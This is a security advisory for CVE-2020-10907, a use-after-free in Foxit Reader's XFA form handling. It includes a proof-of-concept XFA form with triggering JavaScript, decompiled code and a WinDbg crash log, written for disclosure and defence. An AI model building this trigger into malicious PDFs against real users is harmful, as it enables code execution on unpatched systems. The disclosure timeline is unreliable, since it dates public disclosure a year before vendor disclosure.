CVE: CVE-2020-10907

Tested Versions:

  • Foxit Reader 9.7.0.29455

Product URL(s):

Description of the vulnerability

Foxit Reader is a popular PDF reading and printing software.

When processing XFA forms within a PDF, a flaw exists when handling widgets in the form, which can lead to code execution.

The attacker setup a XFA form which has 2 XFA_Widgets: combobox, and checkbox_group.

<!-- XFA Combo Box -->
<subform layout="tb" name="subform_combox_0">
	<occur initial="1" max="10" min="0" name="occur_subform_combox_0">
	</occur>
	<field h="10mm" name="combox" w="40mm" x="10mm" y="10mm">
		<ui>
			<choiceList open="onEntry">
				<border><edge/></border>
			</choiceList>
		</ui>
		<items save="1">
			<text>apples</text>
			<text>bananas</text>
			<text>pears</text>
		</items>
			<value>
			<text>apples</text>
		</value>
		<event activity="ready" ref="$layout">
			<script contentType="application/x-javascript">
				xfa.host.openList("my_doc.subform_combox_0");
			</script>
		</event>
	</field>
</subform>
<!-- XFA CheckBox Group-->
<subform layout="tb" name="subform_checkbutton_group_0">
	<occur initial="1" max="10" min="0" name="occur_subform_checkbutton_group_0">
	</occur>
	<exclGroup layout="tb" name="checkbutton_group">
		<!-- XFA CheckBox 1-->
		<field h="10mm" name="checkbutton_check1" w="40mm" x="30mm" y="600mm">
			<ui>
				<checkButton shape="round">
					<border><edge/></border>
				</checkButton>
			</ui>
			<items>
				<integer>1</integer>
			</items>
			<value>
				<text>Select 1</text>
			</value>
			<caption placement="left">
				<value>
					<text>Option 1</text>
				</value>
			</caption>
			<validate>
				<script contentType="application/x-javascript">
					xfa.resolveNode("my_doc.subform_checkbutton_group_0.checkbutton_group.checkbutton_check1").addItem("this is random string");
					xfa.resolveNode("my_doc.subform_checkbutton_group_0.checkbutton_group").rawValue = "this is random string";
				</script>
			</validate>
		</field>
		<!-- XFA CheckBox 2-->
		<field h="10mm" name="checkbutton_check2" w="40mm" x="30mm" y="600mm">
			<ui>
				<checkButton shape="round">
					<border><edge/></border>
				</checkButton>
			</ui>
			<items>
				<integer>2</integer>
			</items>
			<value>
				<text>Select 2</text>
			</value>
			<caption placement="left">
				<value>
					<text>Option 2</text>
				</value>
			</caption>
		</field>
	</exclGroup>
	<event activity="ready" ref="$layout">
		<script contentType="application/x-javascript">
			_subform_checkbutton_group_0.addInstance(93);
		</script>
	</event>
</subform>

Foxit Reader didn’t properly handle re-entry validate event when adding new instances into PDF XFA form, which leads to Use-After-Free in this case.

The XFA_Widget object is generated when parsing XFA_Field, the side-effect above triggers XFA_Widget of Checkbutton is freed in this code snippet:

//  CReader_DocView::method_x ()
int __userpurge CReader_DocView::method_x@<eax>(int a1@<ecx>, int a2@<edi>, int a3, int a4, int a5, int a6)
{
	 //... skipped
	v6 = a1;
	v7 = (*(int (**)(void))(*(_DWORD *)a1 + 4))();
	result = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 12))(v7);
	if ( result == 1 )
	{
		//... skipped
		v16 = sub_60E290(a6);
        v49 = v16;
        //... skipped
		result = (*(int (**)(void))(*(_DWORD *)v49 + 36))();// CBF_XFAWidget::~CBF_XFAWidget <- CBF_XFA_Widget is freed here
	}
	 //... skipped
}

When the user exists Foxit Reader, this freed object is used at this function:

int __stdcall sub_00BAA890(int this)
{
  _DWORD *v1; // esi
  int result; // eax
  int v3; // eax
  int v4; // edi
  int v5; // esi

  v1 = (_DWORD *)this;
  if ( this )
  {
    if ( (*(int (__thiscall **)(int))(*(_DWORD *)this + 8))(this) )// crash here
    {
      result = sub_B85A60(v1);
      if ( result )
        return result;
      v3 = sub_1C45210(&this);
      v4 = sub_BAA840(v3);
      sub_1E295E0(&this);
      if ( v4 )
      {
        sub_B87DC0(v1, v4);
        return v4;
      }
    }
    else if ( (*(int (__thiscall **)(_DWORD *))(*v1 + 12))(v1) )
    {
      sub_1E29520(&this, "XFAWidget", -1);
      v5 = sub_BAA840(&this);
      sub_1E295E0(&this);
      return v5;
    }
  }
  return 0;
}

The following crash long is from windbg when Page Heap is enabled:

0105a8c2 8b06            mov     eax,dword ptr [esi]  ds:002b:3271cfe0=????????
0105a8c4 8bce            mov     ecx,esi
0105a8c6 ff5008          call    dword ptr [eax+8]
0105a8c9 8bd8            mov     ebx,eax
0105a8cb 8bce            mov     ecx,esi
0105a8cd 85db            test    ebx,ebx

(18bc.1618): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001a838c ebx=14dd2f30 ecx=14dd2f30 edx=f65f4ffc esi=3271cfe0 edi=14dd2f30
eip=0105a8c2 esp=001a837c ebp=001a8398 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2a5d12:
0105a8c2 8b06            mov     eax,dword ptr [esi]  ds:002b:3271cfe0=????????
0:000> !heap -p -a esi
    address 3271cfe0 found in
    _DPH_HEAP_ROOT @ 5a1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   9a3f2138:         3271c000             2000
    64cbadc2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77bb9823 ntdll!RtlDebugFreeHeap+0x0000003e
    77b0dd3e ntdll!RtlpFreeHeap+0x000000ce
    77b56cdb ntdll!RtlpFreeHeapInternal+0x00000783
    77b0dc16 ntdll!RtlFreeHeap+0x00000046
    039794b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75427
    03957261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f531d1
    038dc623 FoxitReader!CFXJSE_Arguments::GetValue+0x00ed8593
    01ede289 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00557989
    00aeb48b FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00032a5b
    00ae623d FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d80d
    00acaf9c FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0001256c
    00b0f960 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00056f30
    028f803f FoxitReader!safe_vsnprintf+0x009f4fcf
    028d7f90 FoxitReader!safe_vsnprintf+0x009d4f20
    028d7fc8 FoxitReader!safe_vsnprintf+0x009d4f58
    028d77e4 FoxitReader!safe_vsnprintf+0x009d4774
    028bf3ab FoxitReader!safe_vsnprintf+0x009bc33b
    028f1fc7 FoxitReader!safe_vsnprintf+0x009eef57
    028f3372 FoxitReader!safe_vsnprintf+0x009f0302
    01ed776c FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00550e6c
    0105383f FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0029ec8f
    00abe9de FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00005fae
    00abeaa7 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00006077
    00ac5ba3 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0000d173
    00bd9b88 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0002e698
    00bbbb78 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00010688
    00bbb31d FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0000fe2d
    036f898a FoxitReader!CFXJSE_Arguments::GetValue+0x00cf48fa
    036f9e21 FoxitReader!CFXJSE_Arguments::GetValue+0x00cf5d91
    036f47c4 FoxitReader!CFXJSE_Arguments::GetValue+0x00cf0734
    036f5037 FoxitReader!CFXJSE_Arguments::GetValue+0x00cf0fa7

Timeline:

  • 2020-03-15 Vendor disclosure via ZDI
  • 2019-04-16 Coordinated public disclosure

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor advisory can be found here: https://www.foxitsoftware.com/support/security-bulletins.php.